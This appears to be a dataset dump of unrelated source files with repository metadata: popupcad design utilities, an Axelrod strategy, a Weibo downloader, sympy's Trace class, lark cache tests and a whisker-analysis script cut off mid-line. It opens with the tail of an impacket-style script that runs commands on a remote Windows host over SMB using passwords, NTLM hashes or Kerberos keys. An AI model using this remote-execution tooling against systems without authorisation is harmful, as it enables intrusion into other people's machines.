is LMHASH:NTHASH') group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ' 'ones specified in the command line') group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' '(128 or 256 bits)') if len(sys.argv)==1: parser.print_help() sys.exit(1) options = parser.parse_args() if options.debug is True: logging.getLogger().setLevel(logging.DEBUG) else: logging.getLogger().setLevel(logging.INFO) import re domain, username, password, remoteName = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(options.target).groups('') #In case the password contains '@' if '@' in remoteName: password = password + '@' + remoteName.rpartition('@')[0] remoteName = remoteName.rpartition('@')[2] if domain is None: domain = '' if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: from getpass import getpass password = getpass("Password:") if options.target_ip is None: options.target_ip = remoteName if options.aesKey is not None: options.k = True try: command='ipconfig /all' executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip, options.mode, options.share, int(options.port), command) executer.run(remoteName, options.target_ip) except Exception, e: logging.critical(str(e)) sys.exit(0)

38.593923

138

0.621001

4a07d5a9e65e5c19a47a1d4edee2d5658d8cf8d7

3,951

py

Python

api_examples/design_advanced_functions.py

popupcad/popupcad

d3da448260cd5cb9e05417b0a723d7f73ae4e06e

[ "MIT" ]

19

2015-08-01T22:13:39.000Z

2020-03-07T03:55:46.000Z

api_examples/design_advanced_functions.py

CadQuery/popupcad

b0c7b406d4b288c7cb375340323bba0252aedbfb

[ "MIT" ]

106

2015-07-23T19:58:01.000Z

2019-05-14T03:46:08.000Z

api_examples/design_advanced_functions.py

CadQuery/popupcad

b0c7b406d4b288c7cb375340323bba0252aedbfb

[ "MIT" ]

9

2015-10-04T23:38:41.000Z

2020-07-16T03:50:34.000Z

# -*- coding: utf-8 -*- """ Written by Daniel M. Aukes and CONTRIBUTORS Email: danaukes<at>asu.edu. Please see LICENSE for full license. """ def remap_subdesign_ids(design): subdesigns_orig = design.subdesigns.copy() subdesign_mapping = [] subdesigns_new = {} for key,subdesign in subdesigns_orig.items(): new_sketch = subdesign.copy(identical = False) subdesigns_new[new_sketch.id] = new_sketch subdesign_mapping.append((key,new_sketch.id)) for oldref, newref in subdesign_mapping: design.replace_subdesign_refs(oldref,newref) design.subdesigns = subdesigns_new return subdesign_mapping def remap_sketch_ids(design): sub_sketches_orig = design.sketches.copy() sketch_mapping = [] sub_sketches_new = {} for key,sketch in sub_sketches_orig.items(): new_sketch = sketch.copy(identical = False) sub_sketches_new[new_sketch.id] = new_sketch sketch_mapping.append((key,new_sketch.id)) for oldref, newref in sketch_mapping: design.replace_sketch_refs_force(oldref,newref) design.sketches = sub_sketches_new return sketch_mapping def strip_locates(design): for ii in range(len(design.operations))[::-1]: op = design.operations[ii] if hasattr(op,'locationgeometry'): design.pop_operation(ii) def remap_operation_ids(design): op_mapping = [] sub_ops_new = [] for op in design.operations: new_op = op.copy_wrapper() new_op.id = id(new_op) sub_ops_new.append(new_op) op_mapping.append((op,new_op)) design.operations = sub_ops_new for oldref,newref in [(op1.id,op2.id) for op1,op2 in op_mapping]: design.replace_op_refs2(oldref,newref) return op_mapping def switch_layer_defs(design,layerdef_new): for ii,op in enumerate(design.operations): if hasattr(op,'switch_layer_defs'): design.operations[ii]=op.switch_layer_defs(design.return_layer_definition(),layerdef_new) def external_to_internal_transform_outer(design,subdesign,sketch_mapping,op_mapping): op_mapping2 = [] from popupcad.manufacturing.transform_external import TransformExternal sketch_mapping_dict = dict(sketch_mapping) op_mapping_dict = dict([(item1.id,item2.id) for item1,item2 in op_mapping]) for ii,op in enumerate(design.operations): if isinstance(op, TransformExternal): if op.design_links['subdesign'][0] == subdesign.id: new = op.to_internal_transform(sketch_mapping_dict,op_mapping_dict) design.operations[ii]=new op_mapping2.append((op.id,new.id)) for oldref,newref in op_mapping2: design.replace_op_refs2(oldref,newref) def remap_sub(subdesign): #reassign new ids to subdesign sketches and remap their use within the subdesign debug = True subdesign_mapping = remap_subdesign_ids(subdesign) sketch_mapping = remap_sketch_ids(subdesign) strip_locates(subdesign) op_mapping = remap_operation_ids(subdesign) if debug: subdesign.save_yaml('C:/Users/danaukes/desktop/test.cad') return subdesign_mapping,sketch_mapping,op_mapping def merge_designs(design,subdesign,index): debug = True subdesign_mapping,sketch_mapping,op_mapping = remap_sub(subdesign) design.subdesigns.update(subdesign.subdesigns) design.sketches.update(subdesign.sketches) if debug: design.save_yaml('C:/Users/danaukes/desktop/test2.cad') switch_layer_defs(subdesign,design.return_layer_definition()) if debug: subdesign.save_yaml('C:/Users/danaukes/desktop/test3.cad') design.operations = design.operations[:index]+subdesign.operations+design.operations[index:] if debug: design.save_yaml('C:/Users/danaukes/desktop/test4.cad') return subdesign_mapping,sketch_mapping,op_mapping

34.657895

101

0.704126

4a07d5dbfe208f07693094b74dc340bb2cd5b2c3

1,114

py

Python

axelrod/strategies/gradualkiller.py

t0nyt93/Axelroddd

66d95378d3ece8b32afeb1c77d305397bd9a815e

[ "MIT" ]

null

axelrod/strategies/gradualkiller.py

t0nyt93/Axelroddd

66d95378d3ece8b32afeb1c77d305397bd9a815e

[ "MIT" ]

null

axelrod/strategies/gradualkiller.py

t0nyt93/Axelroddd

66d95378d3ece8b32afeb1c77d305397bd9a815e

[ "MIT" ]

1

2019-03-11T08:56:09.000Z

from axelrod.actions import Actions from axelrod.player import Player from axelrod.strategy_transformers import InitialTransformer from axelrod.actions import Action C, D = Actions.C, Actions.D @InitialTransformer((D, D, D, D, D, C, C), name_prefix=None) class GradualKiller(Player): """ It begins by defecting in the first five moves, then cooperates two times. It then defects all the time if the opponent has defected in move 6 and 7, else cooperates all the time. Initially designed to stop Gradual from defeating TitForTat in a 3 Player tournament. Names - Gradual Killer: [PRISON1998]_ """ # These are various properties for the strategy name = 'Gradual Killer' classifier = { 'memory_depth': float('Inf'), 'stochastic': False, 'makes_use_of': set(), 'long_run_time': False, 'inspects_source': False, 'manipulates_source': False, 'manipulates_state': False } def strategy(self, opponent: Player) -> Action: if opponent.history[5:7] == [D, D]: return D return C

28.564103

78

0.664273

4a07d67bbb8d22e391a3fae7fcdd93ebc3f35549

2,209

py

Python

doc/test/test-data-provider/weibo_spider/downloader/downloader.py

baijunhan/data-flow

7cba999c49dd38a4d4afe9f9076cda80b3c6ea7c

[ "Apache-2.0" ]

6

2021-01-25T17:36:17.000Z

2021-05-18T12:14:02.000Z

doc/test/test-data-provider/weibo_spider/downloader/downloader.py

baijunhan/data-flow

7cba999c49dd38a4d4afe9f9076cda80b3c6ea7c

[ "Apache-2.0" ]

6

2021-08-31T21:49:48.000Z

2022-03-02T10:13:08.000Z

doc/test/test-data-provider/weibo_spider/downloader/downloader.py

baijunhan/data-flow

7cba999c49dd38a4d4afe9f9076cda80b3c6ea7c

[ "Apache-2.0" ]

null

# -*- coding: UTF-8 -*- import logging import os import sys from abc import ABC, abstractmethod import requests from requests.adapters import HTTPAdapter from tqdm import tqdm logger = logging.getLogger('spider.downloader') class Downloader(ABC): def __init__(self, file_dir, file_download_timeout): self.file_dir = file_dir self.describe = '' self.key = '' self.file_download_timeout = [5, 5, 10] if (isinstance(file_download_timeout, list) and len(file_download_timeout) == 3): for i in range(3): v = file_download_timeout[i] if isinstance(v, (int, float)) and v > 0: self.file_download_timeout[i] = v @abstractmethod def handle_download(self, urls, w): """下载 urls 里所指向的图片或视频文件，使用 w 里的信息来生成文件名""" pass def download_one_file(self, url, file_path, weibo_id): """下载单个文件(图片/视频)""" try: if not os.path.isfile(file_path): s = requests.Session() s.mount(url, HTTPAdapter(max_retries=self.file_download_timeout[0])) downloaded = s.get(url, timeout=(self.file_download_timeout[1], self.file_download_timeout[2])) with open(file_path, 'wb') as f: f.write(downloaded.content) except Exception as e: error_file = self.file_dir + os.sep + 'not_downloaded.txt' with open(error_file, 'ab') as f: url = weibo_id + ':' + file_path + ':' + url + '\n' f.write(url.encode(sys.stdout.encoding)) logger.exception(e) def download_files(self, weibos): """下载文件(图片/视频)""" try: logger.info(u'即将进行%s下载', self.describe) for w in tqdm(weibos, desc='Download progress'): if getattr(w, self.key) != u'无': self.handle_download(getattr(w, self.key), w) logger.info(u'%s下载完毕,保存路径:', self.describe) logger.info(self.file_dir) except Exception as e: logger.exception(e)

35.629032

79

0.550475

4a07d6a1f492398096bebfa7adad4fd17ffffb64

2,275

py

Python

sympy/matrices/expressions/trace.py

JMSS-Unknown/sympy

cd98ba006b5c6d6a6d072eafa28ea6d0ebdaf0e7

[ "BSD-3-Clause" ]

null

sympy/matrices/expressions/trace.py

JMSS-Unknown/sympy

cd98ba006b5c6d6a6d072eafa28ea6d0ebdaf0e7

[ "BSD-3-Clause" ]

null

sympy/matrices/expressions/trace.py

JMSS-Unknown/sympy

cd98ba006b5c6d6a6d072eafa28ea6d0ebdaf0e7

[ "BSD-3-Clause" ]

1

2018-10-21T06:32:46.000Z

from __future__ import print_function, division from sympy import Basic, Expr, sympify from sympy.matrices.matrices import MatrixBase from .matexpr import ShapeError class Trace(Expr): """Matrix Trace Represents the trace of a matrix expression. >>> from sympy import MatrixSymbol, Trace, eye >>> A = MatrixSymbol('A', 3, 3) >>> Trace(A) Trace(A) See Also: trace """ is_Trace = True def __new__(cls, mat): mat = sympify(mat) if not mat.is_Matrix: raise TypeError("input to Trace, %s, is not a matrix" % str(mat)) if not mat.is_square: raise ShapeError("Trace of a non-square matrix") return Basic.__new__(cls, mat) def _eval_transpose(self): return self def _eval_derivative(self, v): from sympy import Dummy, MatrixExpr, Sum if not isinstance(v, MatrixExpr): return None t1 = Dummy("t_1") m = Dummy("m") n = Dummy("n") return MatrixExpr.from_index_summation( Sum(self.args[0][t1, t1].diff(v[m, n]), (t1, 0, self.args[0].shape[0]-1)), m, dimensions=(v.args[1:]) ) @property def arg(self): return self.args[0] def doit(self, **kwargs): if kwargs.get('deep', True): arg = self.arg.doit(**kwargs) try: return arg._eval_trace() except (AttributeError, NotImplementedError): return Trace(arg) else: # _eval_trace would go too deep here if isinstance(self.arg, MatrixBase): return trace(self.arg) else: return Trace(self.arg) def _eval_rewrite_as_Sum(self, **kwargs): from sympy import Sum, Dummy i = Dummy('i') return Sum(self.arg[i, i], (i, 0, self.arg.rows-1)).doit() def trace(expr): """ Trace of a Matrix. Sum of the diagonal elements >>> from sympy import trace, Symbol, MatrixSymbol, pprint, eye >>> n = Symbol('n') >>> X = MatrixSymbol('X', n, n) # A square matrix >>> trace(2*X) 2*Trace(X) >>> trace(eye(3)) 3 See Also: Trace """ return Trace(expr).doit()

24.728261

90

0.553407

4a07d7a3c10390c181db9ad5c1ab33aed0a28853

2,609

py

Python

tests/test_cache.py

asellappen/lark

da6a4e4d00022452abf59df4b4232480608d4f7d

[ "MIT" ]

1

2020-12-04T09:16:33.000Z

tests/test_cache.py

asellappen/lark

da6a4e4d00022452abf59df4b4232480608d4f7d

[ "MIT" ]

null

tests/test_cache.py

asellappen/lark

da6a4e4d00022452abf59df4b4232480608d4f7d

[ "MIT" ]

null

from __future__ import absolute_import import sys from unittest import TestCase, main from lark import Lark, Tree from lark.lexer import Lexer, Token import lark.lark as lark_module try: from StringIO import StringIO except ImportError: from io import BytesIO as StringIO import tempfile, os class MockFile(StringIO): def close(self): pass def __enter__(self): return self def __exit__(self, *args): pass class MockFS: def __init__(self): self.files = {} def open(self, name, mode=None): if name not in self.files: f = self.files[name] = MockFile() else: f = self.files[name] f.seek(0) return f def exists(self, name): return name in self.files class CustomLexer(Lexer): def __init__(self, lexer_conf): pass def lex(self, data): for obj in data: yield Token('A', obj) class TestCache(TestCase): def setUp(self): pass def test_simple(self): g = '''start: "a"''' fn = "bla" fs = lark_module.FS mock_fs = MockFS() try: lark_module.FS = mock_fs Lark(g, parser='lalr', cache=fn) assert fn in mock_fs.files parser = Lark(g, parser='lalr', cache=fn) assert parser.parse('a') == Tree('start', []) mock_fs.files = {} assert len(mock_fs.files) == 0 Lark(g, parser='lalr', cache=True) assert len(mock_fs.files) == 1 parser = Lark(g, parser='lalr', cache=True) assert parser.parse('a') == Tree('start', []) parser = Lark(g+' "b"', parser='lalr', cache=True) assert len(mock_fs.files) == 2 assert parser.parse('ab') == Tree('start', []) parser = Lark(g, parser='lalr', cache=True) assert parser.parse('a') == Tree('start', []) # Test with custom lexer mock_fs.files = {} parser = Lark(g, parser='lalr', lexer=CustomLexer, cache=True) parser = Lark(g, parser='lalr', lexer=CustomLexer, cache=True) assert len(mock_fs.files) == 1 assert parser.parse('a') == Tree('start', []) # Test options persistence mock_fs.files = {} Lark(g, parser="lalr", debug=True, cache=True) parser = Lark(g, parser="lalr", debug=True, cache=True) assert parser.options.options['debug'] finally: lark_module.FS = fs if __name__ == '__main__': main()

25.578431

74

0.549636

4a07d900ad7b599f70e637c4d796bad04485147c

23,786

py

Python

04_logreg_vis/main3b.py

cxrodgers/Rodgers2021

cbcc166f9c06b18022cec91a289a1e84ece791ae

[ "MIT" ]

null

04_logreg_vis/main3b.py

cxrodgers/Rodgers2021

cbcc166f9c06b18022cec91a289a1e84ece791ae

[ "MIT" ]

null

04_logreg_vis/main3b.py

cxrodgers/Rodgers2021

cbcc166f9c06b18022cec91a289a1e84ece791ae

[ "MIT" ]

null

## Heatmap the contacts and anti-contacts in the warped plot by their evidence # Uses data: # big_weights_part # reduced_model_results_sbrc/no_opto/contact_binarized+anti_contact_count+angle+anti_angle_max """ 4A, bottom; S4A, bottom PLOT_EDGE_SUMMARY_ONLY Image of the different shape positions in the consensus space 4B PLOT_OCCUPANCY_DISCONLY Locations of whisks with contact and whisks without contact 4C; S4B PLOT_EVIDENCE_DISCONLY_REWSIDEONLY Evidence for stimulus in both whisks with and without contact S4C PLOT_EVIDENCE_DISCONLY_CHOICEONLY Evidence for choice in both whisks with and without contact """ import json import os import pandas import numpy as np import my.plot import matplotlib.pyplot as plt import matplotlib import extras ## Plot flags my.plot.manuscript_defaults() my.plot.font_embed() ## Parameters with open('../parameters') as fi: params = json.load(fi) ## Load metadata about sessions session_df, task2mouse, mouse2task = my.dataload.load_session_metadata(params) big_tm = pandas.read_pickle(os.path.join(params['patterns_dir'], 'big_tm')) # Insert mouse and task levels into big_tm big_tm = my.misc.insert_mouse_and_task_levels( big_tm, mouse2task, level=0, sort=True) # Count the number of trials per session n_trials_per_session = big_tm.groupby(['task', 'mouse', 'session']).size() # Count the number of trials per mouse n_trials_per_mouse = n_trials_per_session.sum(level=['task', 'mouse']) ## Load warping data transformation_df = pandas.read_pickle( os.path.join(params['scaling_dir'], 'transformation_df')) consensus_edge_summary = pandas.read_pickle( os.path.join(params['scaling_dir'], 'consensus_edge_summary')) # ces to plot cv_ces = consensus_edge_summary.xs(50, level='stepper_pos').max(level='row') cc_ces = consensus_edge_summary.xs(150, level='stepper_pos').max(level='row') all_ces = consensus_edge_summary.max(level='row') # fillna for transparent plotting cv_ces[cv_ces == 0] = np.nan cc_ces[cc_ces == 0] = np.nan all_ces[all_ces == 0] = np.nan ## Load data C2_whisk_cycles = pandas.read_pickle( os.path.join(params['patterns_dir'], 'big_C2_tip_whisk_cycles')) big_cycle_features = pandas.read_pickle( os.path.join(params['patterns_dir'], 'big_cycle_features')) # This is just to plot follicle position mean_follicle = pandas.read_pickle( os.path.join(params['patterns_dir'], 'mean_follicle')) # Transform follicle transformed_mean_follicle = my.misc.transform( mean_follicle, transformation_df).mean(level='whisker') ## Load the original features for plotting # Need the original bins ('analysis_bin') to interpret the weights ouf = pandas.read_pickle(os.path.join(params['logreg_dir'], 'obliviated_unaggregated_features_with_bin')) # Insert mouse and task levels into features ouf = my.misc.insert_mouse_and_task_levels( ouf, mouse2task, level=0, sort=True) # Add a new bin for this analysis bin_edges_frames = np.linspace(-300, 100, 5) bin_centers_frames = (bin_edges_frames[1:] + bin_edges_frames[:-1]) / 2.0 bin_ser = pandas.cut( C2_whisk_cycles['peak_frame_wrt_rwin'], bin_edges_frames, labels=False, right=True).rename('bin') # Append bin_ser to index idxdf = ouf.index.to_frame().reset_index(drop=True) idxdf = idxdf.join(bin_ser, on=['session', 'trial', 'cycle']) idxdf['bin'] = idxdf['bin'].fillna(-1).astype(np.int) ouf.index = pandas.MultiIndex.from_frame(idxdf) # Drop null bins and reorder levels ouf = ouf.drop(-1, level='bin') ouf = ouf.reorder_levels( ['task', 'mouse', 'session', 'trial', 'bin', 'analysis_bin', 'cycle'] ).sort_index() # Extract features of interest contact_binarized = ouf['contact_binarized'] anti_contact_count = ouf['anti_contact_count'] ## Load results of main2a1 big_weights_part = pandas.read_pickle('big_weights_part') # Choose the reduced_model reduced_model = 'contact_binarized+anti_contact_count+angle+anti_angle_max' # Use these weights use_weights = big_weights_part[False]['no_opto'][reduced_model] # normalizing stuff for features that aren't raw normalizing_mu = pandas.read_pickle(os.path.join( params['logreg_dir'], 'reduced_model_results_sbrc', 'no_opto', reduced_model, 'big_normalizing_mu')) normalizing_sigma = pandas.read_pickle(os.path.join( params['logreg_dir'], 'reduced_model_results_sbrc', 'no_opto', reduced_model, 'big_normalizing_sigma')) # Remove redundant normalizing_mu = normalizing_mu.xs( 'rewside', level='decode_label').rename('mu').copy() normalizing_sigma = normalizing_sigma.xs( 'rewside', level='decode_label').rename('sigma').copy() ## Extract the locations of each contact, to be weighted by weights # Extract contact presence and angle onto the columns, one row per contact stacked_contacts = ouf[ ['anti_angle_max', 'anti_contact_count', 'contact_binarized', 'angle'] ].stack('label') # Drop the rows that have neither anti- nor actual contact stacked_contacts = stacked_contacts.loc[ (stacked_contacts['anti_contact_count'] != 0) | (stacked_contacts['contact_binarized'] != 0) ].copy() # Join on whisk location (this is where it will be plotted) # TODO: join on contact location, not peak location, but probably the same to_join = big_cycle_features[ ['peak_tip_x', 'peak_tip_y']].stack('whisker') to_join.index = to_join.index.rename('label', level='whisker') stacked_contacts = stacked_contacts.join( to_join, on=['session', 'trial', 'cycle', 'label']).sort_index() assert not stacked_contacts.index.duplicated().any() ## Apply the standardization to the non-raw features # Only standardize these standardized_features = ['anti_angle_max', 'angle'] # Extract and join on sigma and mu to_standardize = stacked_contacts[ standardized_features].stack().rename('value').to_frame() to_standardize = to_standardize.join( normalizing_mu, on=['session', 'metric', 'label', 'analysis_bin'] ) to_standardize = to_standardize.join( normalizing_sigma, on=['session', 'metric', 'label', 'analysis_bin'] ) to_standardize['standardized'] = to_standardize['value'].sub( to_standardize['mu']).divide(to_standardize['sigma']) # Drop ones that go to infinity to_standardize = to_standardize.loc[ ~np.isinf(to_standardize['standardized']) & ~to_standardize['standardized'].isnull() & (to_standardize['standardized'].abs() < 10) ] # Put back into stacked_contacts # This will insert nulls where standardized angle was messed up to_rejoin = to_standardize['standardized'].unstack('metric') stacked_contacts = stacked_contacts.drop(standardized_features, axis=1) stacked_contacts = stacked_contacts.join(to_rejoin) ## Transform contact location into the warped space to_transform = stacked_contacts[['peak_tip_x', 'peak_tip_y']] transformed_contacts = my.misc.transform( to_transform, transformation_df).rename( columns={'peak_tip_x': 'transformed_x', 'peak_tip_y': 'transformed_y'}) ## Calculate the evidence of each contact # Stack contacts again, so that each metric (e.g. angle) is a row to_weight = stacked_contacts[ ['anti_contact_count', 'contact_binarized', 'angle', 'anti_angle_max'] ].stack().rename('value') # Get decode_label alone on columns flattened_weights = use_weights.stack().stack().stack().unstack('decode_label') # Rename weights flattened_weights = flattened_weights.rename( columns={'choice': 'choice_weight', 'rewside': 'rewside_weight'}) # Join the weights onto the contacts joined = to_weight.to_frame().join( flattened_weights, on=flattened_weights.index.names) #~ assert not joined.isnull().any().any() assert len(joined) == len(to_weight) # Shouldn't be any nulls because they would have been dropped by stacking #~ assert not joined.isnull().any().any() # Apply weight joined['choice_evidence'] = joined['value'] * joined['choice_weight'] joined['rewside_evidence'] = joined['value'] * joined['rewside_weight'] evidence = joined[['choice_evidence', 'rewside_evidence']].copy() # Sum over metric evidence = evidence.sum( level=[lev for lev in evidence.index.names if lev != 'metric'] ) ## Concat data about contacts, their transformed position, and their evidence contact_evidence = pandas.concat( [stacked_contacts, transformed_contacts, evidence], axis=1, sort=True, verify_integrity=True).sort_index(axis=1) ## Bin the contacts spatially # How to bin bins_x = np.linspace(-300, 300, 26) bincenters_x = (bins_x[1:] + bins_x[:-1]) / 2.0 bins_y = np.linspace(-200, 400, 26) bincenters_y = (bins_y[1:] + bins_y[:-1]) / 2.0 # Histogram the points contact_evidence['bin_x'] = pandas.cut( contact_evidence['transformed_x'], bins=bins_x, labels=False, right=True) contact_evidence['bin_y'] = pandas.cut( contact_evidence['transformed_y'], bins=bins_y, labels=False, right=True) # Drop ones outside bins # TODO: check this doesn't happen too much contact_evidence = contact_evidence.dropna(subset=['bin_x', 'bin_y']) contact_evidence['bin_x'] = contact_evidence['bin_x'].astype(np.int) contact_evidence['bin_y'] = contact_evidence['bin_y'].astype(np.int) # This is used to reindex various quantities below to evenly tile the frame full_spatial_bincenter_midx = pandas.MultiIndex.from_product([ pandas.Index(range(len(bincenters_x)), name='bin_x'), pandas.Index(range(len(bincenters_y)), name='bin_y'), ], names=['bin_x', 'bin_y']) ## Rename label to whisker contact_evidence.index = contact_evidence.index.rename('whisker', level='label') ## Drop C0 for now contact_evidence = contact_evidence.drop('C0', level='whisker') ## Split the evidence by contact vs no-contact whisks # A contact occurred yes_contact_evidence = contact_evidence.loc[ (contact_evidence['contact_binarized'] > 0) & (contact_evidence['anti_contact_count'] == 0) ] # No contact occurred non_contact_evidence = contact_evidence.loc[ (contact_evidence['contact_binarized'] == 0) & (contact_evidence['anti_contact_count'] > 0) ] # On ~1.5% of whisks some double pump happened where both a contact # and an anti-contact happened on the same whisker # Those are dropped # Add this as a level contact_evidence = pandas.concat([ yes_contact_evidence, non_contact_evidence], axis=0, sort=True, verify_integrity=True, keys=['yes', 'non'], names=['contact_typ']) ## Aggregate the evidence by spatial bins # Mean evidence gobj = contact_evidence.groupby( ['contact_typ', 'task', 'mouse', 'whisker', 'bin_x', 'bin_y']) aggregated_evidence_spatial = gobj[ ['choice_evidence', 'rewside_evidence']].mean() # Count the number of whisks that went into this mean n_whisks = gobj.size().rename('n_whisks') assert n_whisks.sum() == len(contact_evidence) aggregated_evidence_spatial = aggregated_evidence_spatial.join(n_whisks) # Calculate whisks per trial in each bin # This is more appropriate for comparing across conditions aggregated_evidence_spatial['n_whisks_per_trial'] = ( aggregated_evidence_spatial['n_whisks'].divide( n_trials_per_mouse)).reorder_levels( aggregated_evidence_spatial.index.names) # Also normalize this, so that it sums to 1 over all spatial bins # This is more appropriate for just looking at relative spatial distributions normalizing_factor = aggregated_evidence_spatial['n_whisks'].sum( level=[lev for lev in aggregated_evidence_spatial.index.names if lev not in ['bin_x', 'bin_y']]) aggregated_evidence_spatial['norm_whisks_per_trial'] = ( aggregated_evidence_spatial['n_whisks'].divide( normalizing_factor).reorder_levels( aggregated_evidence_spatial.index.names) ) ## Aggregate the evidence by spatiotemporal bins ## TODO: normalize like above # Mean evidence gobj = contact_evidence.groupby( ['contact_typ', 'task', 'mouse', 'bin', 'whisker', 'bin_x', 'bin_y']) aggregated_evidence_spatiotemporal = gobj[ ['choice_evidence', 'rewside_evidence']].mean() # Sum occupancy occupancy = gobj.size().rename('n_contacts') assert occupancy.sum() == len(contact_evidence) aggregated_evidence_spatiotemporal = aggregated_evidence_spatiotemporal.join(occupancy) # Normalize the occupancy to sum to 1 over the spatial bins contacts_per_bin = aggregated_evidence_spatiotemporal['n_contacts'].sum( level=[lev for lev in aggregated_evidence_spatiotemporal.index.names if lev not in ['bin_x', 'bin_y']]) aggregated_evidence_spatiotemporal['occupancy'] = aggregated_evidence_spatiotemporal['n_contacts'].divide( contacts_per_bin).reorder_levels(aggregated_evidence_spatiotemporal.index.names) # Replace bin with bincenter idxdf = aggregated_evidence_spatiotemporal.index.to_frame().reset_index(drop=True) idxdf['frame_bin'] = idxdf['bin'].map( pandas.Series(bin_centers_frames, index=range(len(bin_centers_frames)))) aggregated_evidence_spatiotemporal.index = pandas.MultiIndex.from_frame( idxdf[['contact_typ', 'task', 'mouse', 'frame_bin', 'whisker', 'bin_x', 'bin_y']]) aggregated_evidence_spatiotemporal = aggregated_evidence_spatiotemporal.sort_index() ## Plot flags PLOT_EDGE_SUMMARY_ONLY = True PLOT_OCCUPANCY_DISCONLY = True PLOT_EVIDENCE_DISCONLY_REWSIDEONLY = True PLOT_EVIDENCE_DISCONLY_CHOICEONLY = True ## Plot if PLOT_EDGE_SUMMARY_ONLY: ## Simple single axis with edge summary, for demonstration # Figure handle f, ax = plt.subplots(figsize=(3, 2.5)) f.subplots_adjust(left=0, right=1, bottom=0, top=1) # Plot edge summary extras.plot_warped_edge_summary( ax, cv_ces=cv_ces, cc_ces=cc_ces, typ='color_by_stimulus') # Follicle ax.plot( [transformed_mean_follicle['x'].values.mean()], [transformed_mean_follicle['y'].values.mean()], marker='x', color='k', ls='none') # Pretty ax.axis('image') ax.set_xlim((-300, 300)) ax.set_ylim((300, -200)) ax.set_xticks([]) ax.set_yticks([]) # Scale bar # 2.7mm = 60px, so 45um per px, or 222.2px per 10mm ax.plot([-200, -200+111.1], [275, 275], 'k-', lw=.8) ax.text(-200 + 55.55, 275, '5 mm', ha='center', va='bottom', size=12) # Save f.savefig('PLOT_EDGE_SUMMARY_ONLY.svg') f.savefig('PLOT_EDGE_SUMMARY_ONLY.png', dpi=300) if PLOT_OCCUPANCY_DISCONLY: ## Parameters # Metric to plot metric_topl = 'norm_whisks_per_trial' # Iterate over whisk type (rows of figure) whisk_typ_l = ['yes', 'non'] # Do only discrimination task = 'discrimination' # Binning mouse_thresh = 4 nwpt_thresh = .02 # Plotting edge_alpha = .3 occupancy_vmin = 0 occupancy_vmax = .03 ## Aggregrate # Slice by task and group by whisk type figure_gobj = aggregated_evidence_spatial.xs( task, level='task').groupby( 'contact_typ') ## Make handles f, axa = plt.subplots( len(whisk_typ_l), 1, figsize=(3, 6.5), sharex=True, sharey=True) f.subplots_adjust(left=0, right=1, bottom=0, top=.925, hspace=.3) ## Iterate over whisk types (rows) for whisk_typ, sub_ae in figure_gobj: ## Slice # Droplevel sub_ae = sub_ae.droplevel('contact_typ') # Slice data (evidence) axis_data = sub_ae[metric_topl] # Get ax ax = axa[ whisk_typ_l.index(whisk_typ) ] # Set title if whisk_typ == 'yes': ax.set_title('whisks with contact\n(location)') elif whisk_typ == 'non': ax.set_title('whisks without contact\n(location)') ## Spatialize occupancy # Mean over mice, separately by whisker spatialized = axis_data.mean( level=['whisker', 'bin_x', 'bin_y']) # Combine to rgb occupancy_rgb = extras.combine_whisker_occupancy_to_rgb( spatialized, full_spatial_bincenter_midx, bins_x, bins_y, x_index=all_ces.columns, y_index=all_ces.index, vmin=occupancy_vmin, vmax=occupancy_vmax) ## Calculate edge_data edge_data = all_ces.values # Mask the edge_data, so that it has no effect where it is null # Actually, this just avoids warnings about null in normalizing masked_edge_data = np.ma.masked_array( edge_data, np.isnan(edge_data)) # Normalize edge data to (0, 1) and colormap in black and white # This replaces masked data with the colormap's "bad value" edge_norm = matplotlib.colors.Normalize(vmin=0, vmax=1) edge_data_rgba = plt.cm.gray_r(edge_norm(masked_edge_data)) ## Blend occupancy_data and edge_data blended_rgba = my.plot.alpha_blend_with_mask( edge_data_rgba, occupancy_rgb, edge_alpha, masked_edge_data.mask, ) ## Plot im = my.plot.imshow( blended_rgba, ax=ax, x=all_ces.columns.values, y=all_ces.index.values) ## Pretty # Plot follicle and ellipses extras.plot_follicle_and_ellipses( ax, transformed_mean_follicle, label_ellipses=True) # Limits extras.consistent_limits(ax) f.savefig('PLOT_OCCUPANCY_DISCONLY.svg') f.savefig('PLOT_OCCUPANCY_DISCONLY.png', dpi=300) if PLOT_EVIDENCE_DISCONLY_REWSIDEONLY: ## Parameters # Metric to plot metric_topl = 'rewside_evidence' # Iterate over whisk type (rows of figure) whisk_typ_l = ['yes', 'non'] # Do only discrimination task = 'discrimination' # Binning mouse_thresh = 4 nwpt_thresh = .02 # Plotting edge_alpha = .3 evidence_vmin = -1 evidence_vmax = 1 ## Aggregrate # Slice by task and group by whisk type figure_gobj = aggregated_evidence_spatial.xs( task, level='task').groupby( 'contact_typ') ## Make handles f, axa = plt.subplots( len(whisk_typ_l), 1, figsize=(4.25, 6.5), sharex=True, sharey=True) f.subplots_adjust(left=0, right=.7, bottom=0, top=.925, hspace=.3) # Axis for colorbar cb_ax = f.add_axes((.77, .27, .03, .4)) cb = f.colorbar( matplotlib.cm.ScalarMappable( matplotlib.colors.Normalize(vmin=evidence_vmin, vmax=evidence_vmax), cmap=plt.cm.RdBu_r), cax=cb_ax) cb.set_ticks((evidence_vmin, 0, evidence_vmax)) cb.ax.tick_params(labelsize=12) ## Iterate over whisk types (rows) for whisk_typ, sub_ae in figure_gobj: ## Slice # Droplevel sub_ae = sub_ae.droplevel('contact_typ') # Slice data (evidence) axis_data = sub_ae[metric_topl] # Get ax ax = axa[ whisk_typ_l.index(whisk_typ) ] # Set title if whisk_typ == 'yes': ax.set_title('whisks with contact\n(evidence)') elif whisk_typ == 'non': ax.set_title('whisks without contact\n(evidence)') ## Identify spatial bins with enough whisks to be worth plotting keep_mask = extras.threshold_bins_by_n_whisks( sub_ae, mouse_thresh=mouse_thresh, nwpt_thresh=nwpt_thresh) ## Spatialize evidence evidence_data = extras.spatialize_evidence( axis_data, keep_mask, full_spatial_bincenter_midx, bins_x, bins_y, x_index=all_ces.columns, y_index=all_ces.index, ) # Use only raw data evidence_data = evidence_data.values ## Calculate edge_data edge_data = all_ces.values # Mask the edge_data, so that it has no effect where it is null # Actually, this 